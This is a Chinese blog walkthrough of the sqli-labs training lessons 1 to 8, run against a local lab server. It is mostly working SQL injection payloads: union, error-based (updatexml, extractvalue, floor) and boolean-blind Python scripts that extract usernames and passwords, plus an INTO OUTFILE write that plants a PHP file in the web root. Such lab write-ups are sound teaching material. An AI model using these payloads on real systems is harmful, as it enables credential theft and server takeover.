1、less-1
1、首先输入参数我们可以看到:
2、开始进行测试:
输入一个单引号试试:
得到报错信息:
我们可以得知是字符型的sql注入
3、验证一下:
先输入:
再输入:
成功验证上面所说的
4、开始进行注入:
(1)、我们先判断原本sql与具查询的字段数:
http://127.0.0.1:8077/sql/Less-1/?id=1%27%20order%20by%203--+
测试得到是3个字段
(2)、用union联合注入,先判断输出点:
http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,2,3--+
得到:
可以看到再2和3的位置可以显示,所以我们随意选择一个地方即可
(3)、得到数据库名:
http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,database(),3--+
得到:
(4)、得到表名:
http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
得到:
(5)、去查看users表的字段名:
http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
得到:
(6)、查看username和password:
http://127.0.0.1:8077/sql/Less-1/?id=-1' union select 1,group_concat(username,password),3 from security.users--+
得到最终结果:
2、less-2
1、判断类型:
先输入:
返回正常
再输入:
返回不正常 ,可知是数字型的sql注入
2、判断列数:
得到临界值为3,则列数为3
3、查看回显位置:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,2,3
4、开始进行注入:
(1)得到数据库名:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,database(),3
(2)得到表名:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
(3)、查看users表的字段名:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'
(4)、查看对应username和password:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,group_concat(username,password),3 from security.users
3、less-3
1、判断类型:
输入:
我们可以看到报错信息为:
'1'') LIMIT 0,1
其中1'是我们输入的,可以后面是'),所以猜测代码用的是单引号加括号的方式;我们查看源代码看一下:
验证我们的猜想
所以正确的闭合方式为:
2、用同样的方式判断列数和回显位置即可,再进行注入:
(1)、得到数据库:
http://127.0.0.1:8077/sql/Less-3/?id=-1') union select 1,database(),3--+
(2)、得到表名:
http://127.0.0.1:8077/sql/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
(3)、得到字段名:
http://127.0.0.1:8077/sql/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
(4)、得到username和password
http://127.0.0.1:8077/sql/Less-3/?id=-1') union select 1,group_concat(username,password),3 from security.users--+
4、less-4
1、判断类型:
加入单引号发现页面没反应,再加入双引号:
得到报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
同样1"是我们输入的,后面")才是代码本身,所以次数的闭合方式为双引号加括号
2、下面直接给出payload:
(1)获取数据库名:
http://127.0.0.1:8077/sql/Less-4/?id=-1") union select 1,database(),3--+
(2)获取表名:
http://127.0.0.1:8077/sql/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
(3)、获取字段名:
http://127.0.0.1:8077/sql/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
(4)、获取username和password:
http://127.0.0.1:8077/sql/Less-4/?id=-1") union select 1,group_concat(username,password),3 from security.users--+
5、less-5
1、布尔注入
1、经过测试发现此次不会显示具体信息,正确查询到就输出"you are in....",为未查询到就不输出
判断类型:
得到:
可知这里还是字符型的;
我们查看代码验证一下:
2、此时我们不能用union联合注入,因为此时是没有回显的:
我们可以借助函数substr():
SUBSTR(string, start, length)
SUBSTR() 函数从字符串中提取子字符串(从任意位置开始)。
所以我们的payload样式为:
http://127.0.0.1:8077/sql/Less-5/?id=1' and substr((select database()),1,1)='s'--+
输入之后拼接成的sql语句为:
SELECT * FROM users WHERE id='1' and substr((select database()),1,1)='s'--+
我们可知and前面的sql语句是可以查询到的,即结果为真;
根据and的特性,当前面为真时,得去看看后面是否为真,所以去执行substr函数,执行substr函数时, string=select database(),就会去查询数据库名,载截取第一个字符若等于"s"返回yes,否则返回no;这样后面语句的真假就控制页面是否输出"You are in.........",我们可以以此来进行爆破数据库名
3、下面给出python脚本:
import requests
import time
url = "http://127.0.0.1:8077/sql/Less-5/" #填入url
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
# str = "?id=1' and "+"ascii(substr((select database()),{0},1))>{1}--+".format(i,mid)
#str = "?id=1' and "+"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}--+".format(i,mid)
'''str = "?id=1' and " + "ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' " \
"and table_name='users'),{0},1))>{1}--+".format(i, mid)'''
str = "?id=1' and "+"ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}--+".format(i,mid)
html = requests.get(url+str)
print(url+str)
if "You are in" in html.text:#填入页面正确时的回显
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("result: " ,result)
这里用ascii函数将字符转为ASCII码,这样方便用二分法进行比对
2、报错注入
1、updatexml
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
当我们第二个参数非法时,它就会报错,从而将一些敏感信息给暴露出来
1、例如:
updatexml(1,concat(0x7e,(version())),0)
因为0x7e是非法所以会报错从而将version一起报出来
2、开始测试,由5.1我们可知该环境可以显示出数据库的错误,所以这里我们可以用报错注入:
(1)、得到数据库:
http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(database())),0)--+
(2)、得到表名:
http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+
(3)、得到字段名:
http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+
(4)、得到username和password
http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users)),0)--+
注:updatexml显示的字符数有限,所以我们可以借助substr看后面的字符:
http://127.0.0.1:8077/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from security.users),35,50)),0)--+
这里就是看第35个字符后50个字符
2、extractvalue
extractvalue('XML_document','Xpath_string')
即extractvalue('目标xml文件名','在xml中查询的字符串')
当第二个参数为非法时也会通过报错提示,跟updatexml类似
例如报出数据库的payload:
http://127.0.0.1:8077/sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(database())))--+
其它的不做赘述
3、floor
floor原理较复杂,我直接给出payload:
(1)、数据库:
http://127.0.0.1:8077/sql/Less-5/?id=1' and (select 1 from (select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a)--+
(2) 、表名:
http://127.0.0.1:8077/sql/Less-5/?id=1' and (select 1 from (select count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x) a)--+
6、less-6
1、测试这一关,发现还是bool注入,只是采用了双引号的闭合方式:
输入:
p://127.0.0.1:8077/sql/Less-6/?id=1"
得到报错为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
2、此处的脚本更上面一样,只是用双引号进行闭合即可
import requests
import time
url = "http://127.0.0.1:8077/sql/Less-6/" #填入url
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
# str = "?id=1\" and "+"ascii(substr((select database()),{0},1))>{1}--+".format(i,mid)
#str = "?id=1\" and "+"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}--+".format(i,mid)
'''str = "?id=1\" and " + "ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' " \
"and table_name='users'),{0},1))>{1}--+".format(i, mid)'''
str = "?id=1\" and "+"ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}--+".format(i,mid)#加\是为了转义"
html = requests.get(url+str)
print(url+str)
if "You are in" in html.text:#填入页面正确时的回显
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("result: " ,result)
同样可以采用报错注入的方式
7、less-7
1、利用outfile向服务器写入文件
1、首先进行测试,我们发现此次的闭合方式是((''))的形式,这个一步步测试即可得到,即最终测试到:
我们在测试过程中发现这里可能也是布尔注入,因为页面只有正确和不正确两个回显;但此处我们可以向服务器写入文件
2、我们可以用第二关来看一些信息(若在实战中需要通过其它方法获取这些信息):
(1)、@@datadir获取数据库存储数据路径:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,@@datadir,3
(2)、@@basedir是MYSQL获取安装路径:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,@@basedir,3
网站是放在www目录下面的所以猜测主机的www目录路径为F:\wamp\www
(3)、获取用户:
http://127.0.0.1:8077/sql/Less-2/?id=-1 union select 1,user(),3
(4)、利用outfile:
使用outfile三个条件:
1.具有root权限。
2.在数据库配置文件中的 配置项含有:secure_file_priv=''。(注意在数据库中此项默认为secure_file_priv=null)。
3.知道数据库的绝对路径。
限制mysql不允许导入/导出:secure_file_priv=null (默认)
限制mysql的导入/导出 只能发生在/tmp/目录下:secure_file_priv=/tmp/
不对mysql的导入/导出做限制:secure_file_priv=''
查看一下我自己的secure_file_priv:
满足要求
注:写入的文件名不能已经存在
(5)、开始进行注入:
http://127.0.0.1:8077/sql/Less-7/?id=1')) union select 1,2,3 into outfile "F:/wamp/www/1.txt"--+
这样利用union并将结果输出 ;
接下来按照union注入方式进行即可
(6)、还可以通过outfile写入一句话木马:
例如我写一句php代码进去:
http://127.0.0.1:8077/sql/Less-7/?id=1')) union select 1,"<?php phpinfo();?>",3 into outfile "F:/wamp/www/1.php"--+
访问1.php:
2、利用布尔注入
这里只是改变了闭合方式和回显,下面直接给出脚本:
import requests
import time
url = "http://127.0.0.1:8077/sql/Less-7/" #填入url
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
# str = "?id=1')) and "+"ascii(substr((select database()),{0},1))>{1}--+".format(i,mid)
#str = "?id=1')) and "+"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}--+".format(i,mid)
'''str = "?id=1')) and " + "ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' " \
"and table_name='users'),{0},1))>{1}--+".format(i, mid)'''
str = "?id=1')) and "+"ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}--+".format(i,mid)
html = requests.get(url+str)
print(url+str)
if "You are in" in html.text:#填入页面正确时的回显
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("result: " ,result)
8、less-8
1、测试发现通过单引号方式闭合:
但此处与less-5不一样,没有报错信息,故只能用布尔注入
2、脚本:
import requests
import time
url = "http://127.0.0.1:8077/sql/Less-8/" #填入url
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
# str = "?id=1' and "+"ascii(substr((select database()),{0},1))>{1}--+".format(i,mid)
#str = "?id=1' and "+"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{0},1))>{1}--+".format(i,mid)
'''str = "?id=1' and " + "ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' " \
"and table_name='users'),{0},1))>{1}--+".format(i, mid)'''
str = "?id=1' and "+"ascii(substr((select group_concat(username,password) from security.users),{0},1))>{1}--+".format(i,mid)
html = requests.get(url+str)
print(url+str)
if "You are in" in html.text:#填入页面正确时的回显
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("result: " ,result)
标签:127.0,Less,0.1,less,8077,labs,sqli,sql,id
From: https://blog.csdn.net/m0_64849639/article/details/140814987